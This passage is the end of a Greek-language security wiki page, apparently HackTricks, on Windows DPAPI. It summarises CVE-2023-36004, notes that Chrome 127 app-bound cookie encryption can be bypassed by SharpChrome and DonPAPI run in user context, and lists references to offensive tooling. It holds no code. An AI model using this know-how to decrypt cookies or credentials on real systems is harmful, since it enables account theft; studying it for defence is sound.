* **CVE-2023-36004 – Windows DPAPI Secure Channel Spoofing** (Νοέμβριος 2023). Ένας επιτιθέμενος με πρόσβαση στο δίκτυο θα μπορούσε να εξαπατήσει ένα μέλος τομέα να ανακτήσει ένα κακόβουλο κλειδί αντιγράφου ασφαλείας DPAPI, επιτρέποντας την αποκρυπτογράφηση των masterkeys χρηστών. Διορθώθηκε στην σωρευτική ενημέρωση του Νοεμβρίου 2023 – οι διαχειριστές θα πρέπει να διασφαλίσουν ότι οι DCs και οι σταθμοί εργασίας είναι πλήρως ενημερωμένοι.
|
||||
* **Κρυπτογράφηση cookie "App-Bound" του Chrome 127** (Ιούλιος 2024) αντικατέστησε την κληρονομική προστασία μόνο DPAPI με ένα επιπλέον κλειδί που αποθηκεύεται κάτω από τον **Credential Manager** του χρήστη. Η εκτός σύνδεσης αποκρυπτογράφηση των cookies απαιτεί τώρα τόσο το masterkey DPAPI όσο και το **GCM-wrapped app-bound key**. Το SharpChrome v2.3 και το DonPAPI 2.x είναι ικανά να ανακτήσουν το επιπλέον κλειδί όταν εκτελούνται με το πλαίσιο χρήστη.
|
||||
|
||||
## Αναφορές
|
||||
|
||||
- https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13
|
||||
- https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c
|
||||
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004
|
||||
- https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html
|
||||
- https://specterops.io/blog/2022/05/18/entropycapture-simple-extraction-of-dpapi-optional-entropy/
|
||||
- https://github.com/Hashcat/Hashcat/releases/tag/v6.2.6
|
||||
- https://github.com/Leftp/DPAPISnoop
|
||||
- https://pypi.org/project/donpapi/2.0.0/
|
||||
- [https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13](https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13)
|
||||
- [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c)
|
||||
- [https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004)
|
||||
- [https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html](https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html)
|
||||
- [https://specterops.io/blog/2022/05/18/entropycapture-simple-extraction-of-dpapi-optional-entropy/](https://specterops.io/blog/2022/05/18/entropycapture-simple-extraction-of-dpapi-optional-entropy/)
|
||||
- [https://github.com/Hashcat/Hashcat/releases/tag/v6.2.6](https://github.com/Hashcat/Hashcat/releases/tag/v6.2.6)
|
||||
- [https://github.com/Leftp/DPAPISnoop](https://github.com/Leftp/DPAPISnoop)
|
||||
- [https://pypi.org/project/donpapi/2.0.0/](https://pypi.org/project/donpapi/2.0.0/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user